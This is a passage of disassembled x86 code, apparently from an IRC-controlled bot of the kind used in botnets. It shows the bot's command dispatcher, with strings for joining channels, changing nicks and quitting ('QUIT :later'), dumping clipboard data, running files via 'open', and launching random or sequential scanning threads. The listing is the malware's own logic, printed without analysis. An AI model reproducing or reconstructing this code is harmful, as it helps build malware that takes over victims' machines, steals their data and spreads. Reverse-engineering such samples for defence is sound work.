[ebp+var_2C8] push 12h push eax call sub_414F93 add esp, 40h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_718] push ebx push eax push offset sub_40B712 push ebx push ebx call dword_42108C mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_411581 loc_41156B: ; CODE XREF: sub_40CE55+472Aj cmp [ebp+var_568], ebx jnz loc_41284E push 32h call dword_421060 jmp short loc_41156B ; --------------------------------------------------------------------------- loc_411581: ; CODE XREF: sub_40CE55+4714j call dword_421088 push eax push offset dword_436390 jmp loc_41283F ; --------------------------------------------------------------------------- loc_411592: ; CODE XREF: sub_40CE55+1A6Bj ; sub_40CE55+1A82j push edi call dword_421118 test eax, eax jz short loc_4115A5 push edi push offset dword_4340C8 jmp short loc_4115B0 ; --------------------------------------------------------------------------- loc_4115A5: ; CODE XREF: sub_40CE55+4746j push offset dword_434808 call sub_409C08 push eax loc_4115B0: ; CODE XREF: sub_40CE55+474Ej lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A add esp, 10h jmp loc_40EF86 ; --------------------------------------------------------------------------- loc_4115C9: ; CODE XREF: sub_40CE55+1A3Dj ; sub_40CE55+1A54j push edi call sub_415A5F push eax call sub_414061 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4115E6 push offset dword_434090 jmp short loc_4115EB ; --------------------------------------------------------------------------- loc_4115E6: ; CODE XREF: sub_40CE55+4788j push offset dword_434048 loc_4115EB: ; CODE XREF: sub_40CE55+478Fj lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_40EFAA push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h jmp loc_40EFAA ; --------------------------------------------------------------------------- loc_411624: ; CODE XREF: sub_40CE55+1A0Fj ; sub_40CE55+1A26j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_413DD2 add esp, 18h cmp eax, 1 push edi jnz short loc_411646 push offset dword_434010 jmp loc_412869 ; --------------------------------------------------------------------------- loc_411646: ; CODE XREF: sub_40CE55+47E5j push offset dword_433FCC jmp loc_412869 ; --------------------------------------------------------------------------- loc_411650: ; CODE XREF: sub_40CE55+19E1j ; sub_40CE55+19F8j push edi call dword_43A3F8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_41168D push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43A370 cmp eax, ebx jz short loc_4116A8 push dword ptr [eax] loc_411673: ; CODE XREF: sub_40CE55+4851j push edi lea eax, [ebp+var_2C8] push offset dword_433F9C push eax call sub_4154E7 add esp, 10h jmp loc_40F713 ; --------------------------------------------------------------------------- loc_41168D: ; CODE XREF: sub_40CE55+4808j push edi call dword_43A43C cmp eax, ebx jz short loc_4116A8 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43A444 push eax jmp short loc_411673 ; --------------------------------------------------------------------------- loc_4116A8: ; CODE XREF: sub_40CE55+481Aj ; sub_40CE55+4841j push offset dword_433F60 jmp loc_410B43 ; --------------------------------------------------------------------------- loc_4116B2: ; CODE XREF: sub_40CE55+19B3j ; sub_40CE55+19CAj push 7Fh push edi push [ebp+arg_14] call sub_416D40 push edi lea eax, [ebp+var_2C8] push offset dword_433F28 push eax call sub_4154E7 add esp, 18h jmp loc_40ECC3 ; --------------------------------------------------------------------------- loc_4116D7: ; CODE XREF: sub_40CE55+1985j ; sub_40CE55+199Cj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43A32C test eax, eax push edi jz short loc_4116F7 push offset unk_433EF8 jmp loc_412869 ; --------------------------------------------------------------------------- loc_4116F7: ; CODE XREF: sub_40CE55+4896j push offset unk_433EC0 jmp loc_412869 ; --------------------------------------------------------------------------- loc_411701: ; CODE XREF: sub_40CE55+1957j ; sub_40CE55+196Ej mov al, [edi] mov byte_42C19C, al movsx eax, byte ptr [edi] push eax push offset dword_433E88 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_411716: ; CODE XREF: sub_40CE55+1929j ; sub_40CE55+1940j push edi call sub_415A5F test eax, eax pop ecx jle loc_41298E push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_41298E push ebx push ebx lea eax, [ebp+var_A4] push 2 push eax call sub_414433 push eax lea eax, [ebp+var_2C8] push offset dword_43454C push eax call sub_4154E7 add esp, 1Ch jmp loc_410E77 ; --------------------------------------------------------------------------- loc_411761: ; CODE XREF: sub_40CE55+18FBj ; sub_40CE55+1912j push edi call sub_415A5F test eax, eax pop ecx jle loc_40D219 push edi call sub_415A5F cmp eax, 12Ch pop ecx jge loc_40D219 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F554[eax] call sub_412D06 pop ecx pop ecx push 1F4h call dword_421060 push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F554[eax] call dword_43A450 push [ebp+var_10] push edi call sub_415A5F imul eax, 234h pop ecx push dword_43F55C[eax] call dword_421130 push edi call sub_415A5F imul eax, 234h push edi mov dword_43F55C[eax], ebx call sub_415A5F imul eax, 234h pop ecx pop ecx mov byte ptr dword_43F348[eax], bl jmp loc_40D219 ; --------------------------------------------------------------------------- loc_41180C: ; CODE XREF: sub_40CE55+18CDj ; sub_40CE55+18E4j push edi push offset aAll ; "all" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_41183B call sub_41515C cmp eax, ebx jle short loc_411831 push eax push offset dword_433E38 jmp loc_40F7A2 ; --------------------------------------------------------------------------- loc_411831: ; CODE XREF: sub_40CE55+49CFj push offset dword_433DFC jmp loc_41202C ; --------------------------------------------------------------------------- loc_41183B: ; CODE XREF: sub_40CE55+49C6j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_40D219 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_411857: ; CODE XREF: sub_40CE55+4A73j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40D219 push esi call sub_415A5F push eax call sub_4150CE pop ecx pop ecx test eax, eax push esi jz short loc_41187E push offset dword_433DC4 jmp short loc_411883 ; --------------------------------------------------------------------------- loc_41187E: ; CODE XREF: sub_40CE55+4A20j push offset dword_433D84 loc_411883: ; CODE XREF: sub_40CE55+4A27j lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4118B3 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_4118B3: ; CODE XREF: sub_40CE55+4A40j lea eax, [ebp+var_2C8] push eax call sub_40B16D add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_411857 jmp loc_40D219 ; --------------------------------------------------------------------------- loc_4118CF: ; CODE XREF: sub_40CE55+189Fj ; sub_40CE55+18B6j cmp [ebp+var_C], ebx jz loc_41298E push edi push [ebp+var_C] call sub_415AC0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_41298E push esi push offset dword_425050 push [ebp+arg_4] call sub_412D06 push esi push offset dword_433D58 jmp loc_411059 ; --------------------------------------------------------------------------- loc_411906: ; CODE XREF: sub_40CE55+1871j ; sub_40CE55+1888j push edi push offset dword_43446C push [ebp+arg_4] call sub_412D06 push edi push offset dword_433D24 jmp loc_411059 ; --------------------------------------------------------------------------- loc_41191F: ; CODE XREF: sub_40CE55+1843j ; sub_40CE55+185Aj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412D06 push edi push offset dword_433CF0 jmp loc_410F2D ; --------------------------------------------------------------------------- loc_41193F: ; CODE XREF: sub_40CE55+1815j ; sub_40CE55+182Cj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_412D06 push edi push offset dword_433CB8 jmp loc_411059 ; --------------------------------------------------------------------------- loc_411958: ; CODE XREF: sub_40CE55+17DAj ; sub_40CE55+17EFj mov al, byte_4276A2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4276A2 jz loc_40D219 mov ecx, edx loc_41196F: ; CODE XREF: sub_40CE55+4B22j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_41196F cmp al, bl jz loc_40D219 mov [ebp+arg_18], edx loc_411984: ; CODE XREF: sub_40CE55+4DE9j push 8 call sub_4151DB pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 12Ch jle short loc_4119D3 push ecx lea eax, [ebp+var_2C8] push offset dword_434E0C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 20h jmp loc_411C35 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_40CE55+4B49j or [ebp+var_300], 0FFFFFFFFh cmp dword_427338, ebx mov [ebp+var_304], 64h mov [ebp+var_318], 5 mov [ebp+var_314], ebx mov [ebp+arg_0], ebx jz short loc_411A40 mov eax, [ebp+arg_18] mov edi, offset dword_427338 lea esi, [eax-0Ah] loc_411A0A: ; CODE XREF: sub_40CE55+4BCDj lea eax, [edi-28h] push esi push eax call sub_415910 pop ecx test eax, eax pop ecx jz short loc_411A26 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_411A0A jmp short loc_411A40 ; --------------------------------------------------------------------------- loc_411A26: ; CODE XREF: sub_40CE55+4BC3j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_300], eax imul ecx, 3Ch mov ecx, dword_427338[ecx] mov [ebp+var_31C], ecx loc_411A40: ; CODE XREF: sub_40CE55+4BA8j ; sub_40CE55+4BCFj cmp [ebp+var_31C], ebx jz loc_411C49 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2D8] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43A35C mov al, [ebp+var_9B3] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2D4], eax push [ebp+var_2D4] call dword_43A444 push eax lea eax, [ebp+var_430] push eax call sub_416D40 xor eax, eax cmp [ebp+var_9B3], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_430] push eax call sub_417040 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_411AE2 loc_411AC0: ; CODE XREF: sub_40CE55+4C8Bj cmp eax, ebx jz short loc_411AE2 mov byte ptr [eax], 78h lea eax, [ebp+var_430] push 30h push eax call sub_417040 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_411AC0 loc_411AE2: ; CODE XREF: sub_40CE55+4C69j ; sub_40CE55+4C6Dj mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_320], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_2F4], eax lea eax, [ebp+var_420] push edi push eax mov [ebp+var_2F0], 1 mov [ebp+var_2F8], esi call sub_415A6A push offset byte_438FDC push offset dword_42C248 call sub_415910 add esp, 14h test eax, eax jz short loc_411B4C push offset dword_42C248 lea eax, [ebp+var_3A0] push edi push eax call sub_415A6A add esp, 0Ch jmp short loc_411B52 ; --------------------------------------------------------------------------- loc_411B4C: ; CODE XREF: sub_40CE55+4CDEj mov [ebp+var_3A0], bl loc_411B52: ; CODE XREF: sub_40CE55+4CF5j cmp [ebp+var_2F0], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_411B64 mov eax, offset aSequential ; "Sequential" loc_411B64: ; CODE XREF: sub_40CE55+4D08j push [ebp+var_304] lea ecx, [ebp+var_430] push [ebp+var_314] push [ebp+var_318] push [ebp+var_31C] push ecx push eax lea eax, [ebp+var_2C8] push offset dword_433C3C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 8 push eax call sub_414F93 add esp, 2Ch mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_430] push ebx push eax push offset sub_40799F push ebx push ebx call dword_42108C mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_411BEE loc_411BDC: ; CODE XREF: sub_40CE55+4D97j cmp [ebp+var_2EC], ebx jnz short loc_411C09 push 32h call dword_421060 jmp short loc_411BDC ; --------------------------------------------------------------------------- loc_411BEE: ; CODE XREF: sub_40CE55+4D85j call dword_421088 push eax lea eax, [ebp+var_2C8] push offset dword_434CE8 push eax call sub_4154E7 add esp, 0Ch loc_411C09: ; CODE XREF: sub_40CE55+4D8Dj cmp [ebp+var_8], ebx jnz short loc_411C28 push ebx lea eax, [ebp+var_2C8] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_411C28: ; CODE XREF: sub_40CE55+4DB7j lea eax, [ebp+var_2C8] push eax call sub_40B16D pop ecx loc_411C35: ; CODE XREF: sub_40CE55+4B79j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_411984 jmp loc_40D219 ; --------------------------------------------------------------------------- loc_411C49: ; CODE XREF: sub_40CE55+2FDCj ; sub_40CE55+4BF1j push offset dword_433BF0 jmp loc_41202C ; --------------------------------------------------------------------------- loc_411C53: ; CODE XREF: sub_40CE55+17B0j ; sub_40CE55+17C5j push 4 call sub_4151DB test eax, eax pop ecx jle short loc_411C69 push offset unk_433BBC jmp loc_40EBA7 ; --------------------------------------------------------------------------- loc_411C69: ; CODE XREF: sub_40CE55+4E08j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_411C8C push eax mov edi, 104h lea eax, [ebp+var_804] push edi push eax call sub_415A6A add esp, 0Ch jmp short loc_411CA0 ; --------------------------------------------------------------------------- loc_411C8C: ; CODE XREF: sub_40CE55+4E1Dj mov edi, 104h lea eax, [ebp+var_804] push edi push eax push ebx call dword_42107C loc_411CA0: ; CODE XREF: sub_40CE55+4E35j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_411CB0 mov esi, offset byte_42C1FC loc_411CB0: ; CODE XREF: sub_40CE55+4E54j push esi lea eax, [ebp+var_700] push edi push eax call sub_415A6A mov eax, dword_42C188 push 7Fh push [ebp+var_8C] mov [ebp+var_5F4], eax mov eax, [ebp+arg_4] mov [ebp+var_5F8], ebx mov [ebp+var_808], eax lea eax, [ebp+var_5F0] push eax call sub_416D40 mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_700] push eax lea eax, [ebp+var_804] push eax lea eax, [ebp+var_2C8] push [ebp+var_5F4] push offset unk_4278F4 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 4 push eax call sub_414F93 add esp, 38h mov [ebp+var_5FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_808] push ebx push eax push offset sub_406C3E push ebx push ebx call dword_42108C mov ecx, [ebp+var_5FC] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_411D80 loc_411D6A: ; CODE XREF: sub_40CE55+4F29j cmp [ebp+var_568], ebx jnz loc_40ECC3 push 32h call dword_421060 jmp short loc_411D6A ; --------------------------------------------------------------------------- loc_411D80: ; CODE XREF: sub_40CE55+4F13j call dword_421088 push eax push offset unk_433B70 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_411D91: ; CODE XREF: sub_40CE55+1786j ; sub_40CE55+179Bj mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_411DB0 push edi call sub_415A5F test eax, eax pop ecx jz short loc_411DB0 push edi call sub_415A5F pop ecx jmp short loc_411DB5 ; --------------------------------------------------------------------------- loc_411DB0: ; CODE XREF: sub_40CE55+4F45j ; sub_40CE55+4F50j mov eax, dword_42C18C loc_411DB5: ; CODE XREF: sub_40CE55+4F59j mov esi, [ebp+esi+var_8C] mov [ebp+var_584], eax xor eax, eax cmp [ebp+var_9B0], bl setz al cmp esi, ebx mov [ebp+var_570], eax jz short loc_411DE8 lea eax, [ebp+var_688] push esi push eax call sub_4154E7 pop ecx pop ecx jmp short loc_411E13 ; --------------------------------------------------------------------------- loc_411DE8: ; CODE XREF: sub_40CE55+4F80j lea eax, [ebp+var_3E8] push 104h push eax call dword_421058 push ebx push ebx lea eax, [ebp+var_2D4] push ebx push eax lea eax, [ebp+var_3E8] push eax call sub_417348 add esp, 14h loc_411E13: ; CODE XREF: sub_40CE55+4F91j lea eax, [ebp+var_688] push eax call sub_415CF0 cmp [ebp+eax+var_689], 5Ch pop ecx jnz short loc_411E3E lea eax, [ebp+var_688] push eax call sub_415CF0 pop ecx mov [ebp+eax+var_689], bl loc_411E3E: ; CODE XREF: sub_40CE55+4FD3j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_910] mov [ebp+var_914], esi push 80h push eax call sub_415A6A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_574], eax lea eax, [ebp+var_688] mov [ebp+var_578], edi push eax push [ebp+var_584] push esi call sub_40A171 pop ecx push eax lea eax, [ebp+var_2C8] push offset unk_4277C4 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 3 push eax call sub_414F93 add esp, 20h mov [ebp+var_57C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_914] push ebx push eax push offset sub_405B23 push ebx push ebx call dword_42108C mov ecx, [ebp+var_57C] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_411EF2 loc_411EE0: ; CODE XREF: sub_40CE55+509Bj cmp [ebp+var_568], ebx jnz short loc_411F0D push 32h call dword_421060 jmp short loc_411EE0 ; --------------------------------------------------------------------------- loc_411EF2: ; CODE XREF: sub_40CE55+5089j call dword_421088 push eax push offset unk_433B24 loc_411EFE: ; CODE XREF: sub_40CE55+34F6j ; sub_40CE55+35F0j lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_411F0D: ; CODE XREF: sub_40CE55+34DAj ; sub_40CE55+35D4j ... cmp [ebp+var_8], ebx jnz loc_41284E push ebx push edi loc_411F18: ; CODE XREF: sub_40CE55+2DA0j lea eax, [ebp+var_2C8] push eax push [ebp+var_8C] push esi jmp loc_40F7CE ; --------------------------------------------------------------------------- loc_411F2B: ; CODE XREF: sub_40CE55+175Cj ; sub_40CE55+1771j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_411F3E push esi call sub_415A5F jmp short loc_411F45 ; --------------------------------------------------------------------------- loc_411F3E: ; CODE XREF: sub_40CE55+50DFj push 8 call sub_4151FA loc_411F45: ; CODE XREF: sub_40CE55+50E7j cmp eax, ebx pop ecx jz loc_41298E push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4071FF loc_411F60: ; CODE XREF: sub_40CE55+5597j add esp, 10h jmp loc_41298E ; --------------------------------------------------------------------------- loc_411F68: ; CODE XREF: sub_40CE55+1732j ; sub_40CE55+1747j mov eax, dword_43A2E0 cmp eax, ebx jz short loc_411F85 call eax test eax, eax jz short loc_411F7E push offset unk_433AEC jmp short loc_411F9A ; --------------------------------------------------------------------------- loc_411F7E: ; CODE XREF: sub_40CE55+5120j push offset unk_433AAC jmp short loc_411F9A ; --------------------------------------------------------------------------- loc_411F85: ; CODE XREF: sub_40CE55+511Aj push offset unk_433A6C jmp short loc_411F9A ; --------------------------------------------------------------------------- loc_411F8C: ; CODE XREF: sub_40CE55+1708j ; sub_40CE55+171Dj call sub_40A093 test eax, eax jz short loc_411FB0 push offset unk_433A34 loc_411F9A: ; CODE XREF: sub_40CE55+5127j ; sub_40CE55+512Ej ... lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A jmp loc_412875 ; --------------------------------------------------------------------------- loc_411FB0: ; CODE XREF: sub_40CE55+513Ej push offset unk_4339F4 jmp short loc_411F9A ; --------------------------------------------------------------------------- loc_411FB7: ; CODE XREF: sub_40CE55+16DEj ; sub_40CE55+16F3j cmp [ebp+var_8], ebx jnz short loc_411FD6 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_411FD6: ; CODE XREF: sub_40CE55+5165j push ebx push [ebp+var_4] call sub_409C92 push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C push offset dword_4339B0 jmp loc_4122BE ; --------------------------------------------------------------------------- loc_411FF8: ; CODE XREF: sub_40CE55+15FEj ; sub_40CE55+1613j push 7 call sub_4151DB test eax, eax pop ecx jle short loc_41200B push offset dword_433974 jmp short loc_41202C ; --------------------------------------------------------------------------- loc_41200B: ; CODE XREF: sub_40CE55+51ADj push [ebp+var_8C] push [ebp+arg_4] call sub_40A7FD pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_412027 push offset dword_433938 jmp short loc_41202C ; --------------------------------------------------------------------------- loc_412027: ; CODE XREF: sub_40CE55+51C9j push offset dword_433904 loc_41202C: ; CODE XREF: sub_40CE55+2B3Dj ; sub_40CE55+2C6Dj ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 pop ecx pop ecx jmp loc_40F7B1 ; --------------------------------------------------------------------------- loc_41203F: ; CODE XREF: sub_40CE55+15D4j ; sub_40CE55+15E9j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40967F jmp loc_40D216 ; --------------------------------------------------------------------------- loc_412058: ; CODE XREF: sub_40CE55+15AAj ; sub_40CE55+15BFj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C515 jmp loc_40D216 ; --------------------------------------------------------------------------- loc_412075: ; CODE XREF: sub_40CE55+1580j ; sub_40CE55+1595j or edi, 0FFFFFFFFh call dword_42104C xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_41209E push esi call sub_415A5F pop ecx mov edi, eax loc_41209E: ; CODE XREF: sub_40CE55+523Ej mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4120B7 cmp edi, 0FFFFFFFFh jnz loc_41298E loc_4120B7: ; CODE XREF: sub_40CE55+5257j push ebx call sub_40A9B2 push eax lea eax, [ebp+var_2C8] push offset dword_4338D8 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C lea eax, [ebp+var_2C8] push eax call sub_40B16D jmp loc_410180 ; --------------------------------------------------------------------------- loc_4120F9: ; CODE XREF: sub_40CE55+1556j ; sub_40CE55+156Bj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4085D3 lea eax, [ebp+var_2C8] push offset unk_4338A4 push eax call sub_4154E7 add esp, 14h jmp loc_40ECC3 ; --------------------------------------------------------------------------- loc_412123: ; CODE XREF: sub_40CE55+152Cj ; sub_40CE55+1541j push 1Eh call sub_4151DB test eax, eax pop ecx jle short loc_41214C cmp [ebp+var_8], ebx jnz loc_40D219 push ebx push [ebp+var_4] push offset dword_433870 push [ebp+var_8C] jmp loc_40D777 ; --------------------------------------------------------------------------- loc_41214C: ; CODE XREF: sub_40CE55+52D8j push [ebp+var_8C] lea eax, [ebp+var_4DC] push 80h push eax call sub_415A6A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4E0], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_450], eax mov [ebp+var_458], ebx jz short loc_4121AD push esi push offset aFull ; "full" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4121AD mov [ebp+var_458], 1 loc_4121AD: ; CODE XREF: sub_40CE55+533Bj ; sub_40CE55+534Cj lea eax, [ebp+var_2C8] push offset dword_433834 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 1Eh push eax call sub_414F93 add esp, 14h mov [ebp+var_45C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4E0] push ebx push eax push offset sub_413F83 push ebx push ebx call dword_42108C mov ecx, [ebp+var_45C] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_41221B loc_412205: ; CODE XREF: sub_40CE55+53C4j cmp [ebp+var_44C], ebx jnz loc_41284E push 32h call dword_421060 jmp short loc_412205 ; --------------------------------------------------------------------------- loc_41221B: ; CODE XREF: sub_40CE55+53AEj call dword_421088 push eax push offset dword_4337E4 jmp loc_41283F ; --------------------------------------------------------------------------- loc_41222C: ; CODE XREF: sub_40CE55+1502j ; sub_40CE55+1517j cmp [ebp+var_8], ebx jnz short loc_41224B push ebx push [ebp+var_4] push offset dword_4337B8 push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_41224B: ; CODE XREF: sub_40CE55+53DAj push [ebp+arg_4] call dword_43A450 call dword_43A318 call sub_409E15 push ebx call dword_421114 loc_412266: ; CODE XREF: sub_40CE55+14D8j ; sub_40CE55+14EDj push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40AAD1 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C push offset dword_43378C jmp short loc_4122BE ; --------------------------------------------------------------------------- loc_412291: ; CODE XREF: sub_40CE55+14AEj ; sub_40CE55+14C3j push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40AD85 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C push offset dword_433760 loc_4122BE: ; CODE XREF: sub_40CE55+519Ej ; sub_40CE55+543Aj call sub_40B16D jmp loc_410F32 ; --------------------------------------------------------------------------- loc_4122C8: ; CODE XREF: sub_40CE55+1484j ; sub_40CE55+1499j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40B20D jmp loc_40D216 ; --------------------------------------------------------------------------- loc_4122E1: ; CODE XREF: sub_40CE55+145Aj ; sub_40CE55+146Fj cmp [ebp+var_C], ebx mov [ebp+var_374], bl jz short loc_412320 mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412320 push esi push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz short loc_412320 push eax push offset aS_1 ; "%s" lea eax, [ebp+var_374] push 80h push eax call sub_415A6A add esp, 10h loc_412320: ; CODE XREF: sub_40CE55+5495j ; sub_40CE55+54A0j ... push [ebp+var_8C] lea eax, [ebp+var_3F4] push 80h push eax call sub_415A6A mov eax, [ebp+arg_4] push offset dword_433734 mov [ebp+var_3F8], eax mov eax, [ebp+var_4] mov [ebp+var_2F0], eax mov eax, [ebp+var_8] mov [ebp+var_2EC], eax lea eax, [ebp+var_2C8] push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 1Ch push eax call sub_414F93 add esp, 20h mov [ebp+var_2F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8] push ebx push eax push offset sub_40B27F push ebx push ebx call dword_42108C mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_4123C0 loc_4123AA: ; CODE XREF: sub_40CE55+5569j cmp [ebp+var_2E8], ebx jnz loc_40D219 push 32h call dword_421060 jmp short loc_4123AA ; --------------------------------------------------------------------------- loc_4123C0: ; CODE XREF: sub_40CE55+5553j call dword_421088 push eax push offset dword_4336E8 jmp loc_40D402 ; --------------------------------------------------------------------------- loc_4123D1: ; CODE XREF: sub_40CE55+1430j ; sub_40CE55+1445j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40B0F5 push offset dword_4336BC call sub_40B16D jmp loc_411F60 ; --------------------------------------------------------------------------- loc_4123F1: ; CODE XREF: sub_40CE55+1406j ; sub_40CE55+141Bj push [ebp+var_8C] lea eax, [ebp+var_4DC] push 80h push eax call sub_415A6A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4E0], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_450], eax jz short loc_41244B push offset dword_4336B8 push esi call sub_415910 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_458], eax jmp short loc_412451 ; --------------------------------------------------------------------------- loc_41244B: ; CODE XREF: sub_40CE55+55DAj mov [ebp+var_458], ebx loc_412451: ; CODE XREF: sub_40CE55+55F4j lea eax, [ebp+var_2C8] push offset dword_433688 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 1Fh push eax call sub_414F93 add esp, 14h mov [ebp+var_45C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4E0] push ebx push eax push offset sub_414FFE push ebx push ebx call dword_42108C mov ecx, [ebp+var_45C] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_4124BB loc_4124A9: ; CODE XREF: sub_40CE55+5664j cmp [ebp+var_44C], ebx jnz short loc_4124D6 push 32h call dword_421060 jmp short loc_4124A9 ; --------------------------------------------------------------------------- loc_4124BB: ; CODE XREF: sub_40CE55+5652j call dword_421088 push eax push offset dword_43363C loc_4124C7: ; CODE XREF: sub_40CE55+4523j ; sub_40CE55+463Cj lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_4124D6: ; CODE XREF: sub_40CE55+28C1j ; 